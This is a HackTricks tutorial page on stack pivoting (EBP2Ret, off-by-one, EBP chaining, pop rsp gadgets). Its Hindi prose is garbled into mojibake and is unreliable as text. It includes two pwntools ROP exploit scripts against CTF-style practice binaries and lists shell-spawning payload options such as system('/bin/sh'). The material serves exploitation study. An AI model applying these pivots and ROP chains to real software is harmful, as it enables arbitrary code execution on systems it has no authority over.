14 KiB
Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
рдпрд╣ рддрдХрдиреАрдХ Base Pointer (EBP) рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИ рддрд╛рдХрд┐ EBP рд░рдЬрд┐рд╕реНрдЯрд░ рдФрд░ leave; ret
рдирд┐рд░реНрджреЗрд╢ рдЕрдиреБрдХреНрд░рдо рдХрд╛ рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдИ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХреЗред
рдпрд╛рдж рджрд┐рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, leave
рдХрд╛ рдЕрд░реНрде рдореВрд▓ рд░реВрдк рд╕реЗ рд╣реИ:
mov esp, ebp
pop ebp
ret
And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.
EBP2Ret
рдпрд╣ рддрдХрдиреАрдХ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИ рдЬрдм рдЖрдк EBP рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди EIP рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рд╕реАрдзреЗ рдмрджрд▓рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИред рдпрд╣ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдмрд╛рдж рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред
рдпрджрд┐, fvuln
рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рджреМрд░рд╛рди, рдЖрдк рд╕реНрдЯреИрдХ рдореЗрдВ рдПрдХ рдирдХрд▓реА EBP рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдореЗрдореЛрд░реА рдХреЗ рдЙрд╕ рдХреНрд╖реЗрддреНрд░ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдЖрдкрдХрд╛ рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдкрддрд╛ рд╕реНрдерд┐рдд рд╣реИ (рдкреНрд▓рд╕ 4 рдмрд╛рдЗрдЯреНрд╕ pop
рдСрдкрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП), рддреЛ рдЖрдк рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ EIP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЬреИрд╕реЗ рд╣реА fvuln
рд▓реМрдЯрддрд╛ рд╣реИ, ESP рдХреЛ рдЗрд╕ рддреИрдпрд╛рд░ рд╕реНрдерд╛рди рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЕрдЧрд▓рд╛ pop
рдСрдкрд░реЗрд╢рди ESP рдХреЛ 4 рд╕реЗ рдШрдЯрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдПрдХ рдкрддреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдиреЗ рд╡рд╣рд╛рдВ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рд╣реИред
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдкрдХреЛ 2 рдкрддреЗ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: рд╡рд╣ рдЬрд╣рд╛рдВ ESP рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдЖрдкрдХреЛ рдЙрд╕ рдкрддреЗ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдЬрд┐рд╕ рдкрд░ ESP рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИред
Exploit Construction
рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рдПрдХ рдкрддрд╛ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдЖрдк рдордирдорд╛рдиреЗ рдбреЗрдЯрд╛ / рдкрддреЗ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред ESP рдпрд╣рд╛рдБ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗрдЧрд╛ рдФрд░ рдкрд╣рд▓рд╛ ret
рдЪрд▓рд╛рдПрдЧрд╛ред
рдлрд┐рд░, рдЖрдкрдХреЛ рдЙрд╕ рдкрддреЗ рдХреЛ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ ret
рджреНрд╡рд╛рд░рд╛ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
- рдПрдХ рдорд╛рдиреНрдп ONE_GADGET рдкрддрд╛ред
system()
рдХрд╛ рдкрддрд╛ рдЙрд╕рдХреЗ рдмрд╛рдж 4 рдЬрдВрдХ рдмрд╛рдЗрдЯреНрд╕ рдФрд░"/bin/sh"
рдХрд╛ рдкрддрд╛ (x86 рдмрд┐рдЯреНрд╕)ред- рдПрдХ
jump esp;
рдЧреИрдЬреЗрдЯ (ret2esp) рдХрд╛ рдкрддрд╛ рдЙрд╕рдХреЗ рдмрд╛рдж рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЗрд▓рдХреЛрдбред - рдХреБрдЫ ROP рд╢реНрд░реГрдВрдЦрд▓рд╛
рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдирд┐рдпрдВрддреНрд░рд┐рдд рдореЗрдореЛрд░реА рдХреЗ рдЗрди рдкрддреЗ рд╕реЗ рдкрд╣рд▓реЗ, 4
рдмрд╛рдЗрдЯреНрд╕ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ pop
рднрд╛рдЧ leave
рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рд╣реИред рдЗрди 4B рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛрдЧрд╛ рдПрдХ рджреВрд╕рд░рд╛ рдирдХрд▓реА EBP рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдПред
Off-By-One Exploit
рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд░реВрдкрд╛рдВрддрд░ "Off-By-One Exploit" рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рддрдм рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдЖрдк рдХреЗрд╡рд▓ EBP рдХреЗ рд╕рдмрд╕реЗ рдХрдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд╛рдЗрдЯ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдореЗрдореЛрд░реА рд╕реНрдерд╛рди рдЬреЛ ret
рдХреЗ рд╕рд╛рде рдХреВрджрдиреЗ рдХреЗ рд▓рд┐рдП рдкрддрд╛ рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИ, рдХреЛ EBP рдХреЗ рд╕рд╛рде рдкрд╣рд▓реЗ рддреАрди рдмрд╛рдЗрдЯреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рд╕реЗ рдЕрдзрд┐рдХ рд╕реАрдорд┐рдд рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдорд╛рди рд╣реЗрд░рдлреЗрд░ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред
EBP Chaining
рдЗрд╕рд▓рд┐рдП, рд╕реНрдЯреИрдХ рдХреЗ EBP
рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдореЗрдВ рдПрдХ рдирд┐рдпрдВрддреНрд░рд┐рдд рдкрддрд╛ рдбрд╛рд▓рдХрд░ рдФрд░ EIP
рдореЗрдВ leave; ret
рдХрд╛ рдкрддрд╛ рдбрд╛рд▓рдХрд░, рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ ESP
рдХреЛ рд╕реНрдЯреИрдХ рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд EBP
рдкрддреЗ рдкрд░ рд▓реЗ рдЬрд╛рдпрд╛ рдЬрд╛рдПред
рдЕрдм, ESP
рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ рдЬреЛ рдПрдХ рдЗрдЪреНрдЫрд┐рдд рдкрддреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдЧрд▓рд╛ рдирд┐рд░реНрджреЗрд╢ RET
рд╣реИред рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдпрдВрддреНрд░рд┐рдд ESP рд╕реНрдерд╛рди рдореЗрдВ рдпрд╣ рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
&(next fake EBP)
->leave
рдирд┐рд░реНрджреЗрд╢ рд╕реЗpop ebp
рдХреЗ рдХрд╛рд░рдг рдирдпрд╛ EBP рд▓реЛрдб рдХрд░реЗрдВsystem()
->ret
рджреНрд╡рд╛рд░рд╛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛&(leave;ret)
-> рд╕рд┐рд╕реНрдЯрдо рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдпрд╣ ESP рдХреЛ рдирдХрд▓реА EBP рдкрд░ рд▓реЗ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд░реЗрдЧрд╛&("/bin/sh")
->system
рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░
рдмреБрдирд┐рдпрд╛рджреА рд░реВрдк рд╕реЗ рдЗрд╕ рддрд░реАрдХреЗ рд╕реЗ рдХрдИ рдирдХрд▓реА EBPs рдХреЛ рдЬреЛрдбрд╝рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
рдпрд╣ ret2lib рдХреА рддрд░рд╣ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдХреЛрдИ рд╕реНрдкрд╖реНрдЯ рд▓рд╛рдн рдирд╣реАрдВ рд╣реИ рд▓реЗрдХрд┐рди рдХреБрдЫ рдХрд┐рдирд╛рд░реЗ рдХреЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣рд╛рдБ рдПрдХ рдЪреБрдиреМрддреА рдХрд╛ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдЬреЛ рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдПрдХ рд╕реНрдЯреИрдХ рд▓реАрдХ рдХреЗ рд╕рд╛рде рдПрдХ рд╡рд┐рдЬреЗрддрд╛ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдпрд╣ рдкреГрд╖реНрда рд╕реЗ рдЕрдВрддрд┐рдо рдкреЗрд▓реЛрдб рд╣реИ:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP рдмреЗрдХрд╛рд░ рд╣реИ
рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрджрд┐ рдПрдХ рдмрд╛рдЗрдирд░реА рдХреЛ рдХреБрдЫ рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреЗрд╢рди рдХреЗ рд╕рд╛рде рд╕рдВрдХрд▓рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ EBP рдХрднреА рднреА ESP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛, рдЗрд╕рд▓рд┐рдП, EBP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдИ рднреА рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдореВрд▓ рд░реВрдк рд╕реЗ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХрд╛ рдХреЛрдИ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкреНрд░рднрд╛рд╡ рдирд╣реАрдВ рд╣реИред
рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░реЛрд▓реЙрдЧ рдФрд░ рдПрдкрд┐рд▓реЙрдЧ рдмрджрд▓рддреЗ рд╣реИрдВ рдпрджрд┐ рдмрд╛рдЗрдирд░реА рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреНрдб рд╣реИред
- рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреНрдб рдирд╣реАрдВ:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- рдЕрдиреБрдХреВрд▓рд┐рдд:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
рдЕрдиреНрдп рддрд░реАрдХреЗ RSP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП
pop rsp
рдЧреИрдЬреЗрдЯ
рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЖрдк рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдЪреБрдиреМрддреА рдХреЗ рд▓рд┐рдП 2 рд╡рд┐рд╢рд┐рд╖реНрдЯ рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдерд╛, рдФрд░ рд╡рд╣рд╛рдБ рдПрдХ pop rsp
рдЧреИрдЬреЗрдЯ рдерд╛ рдФрд░ рд╡рд╣рд╛рдБ рд╕реНрдЯреИрдХ рд╕реЗ рд▓реАрдХ рдерд╛:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
рд╕рдВрджрд░реНрдн
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
{% hint style="success" %}
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- рд╣рдорд╛рд░реЗ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ telegram рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ Twitter ЁЯРж рдкрд░ рд╣рдореЗрдВ рдлреЙрд▓реЛ рдХрд░реЗрдВ @hacktricks_live.
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PR рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред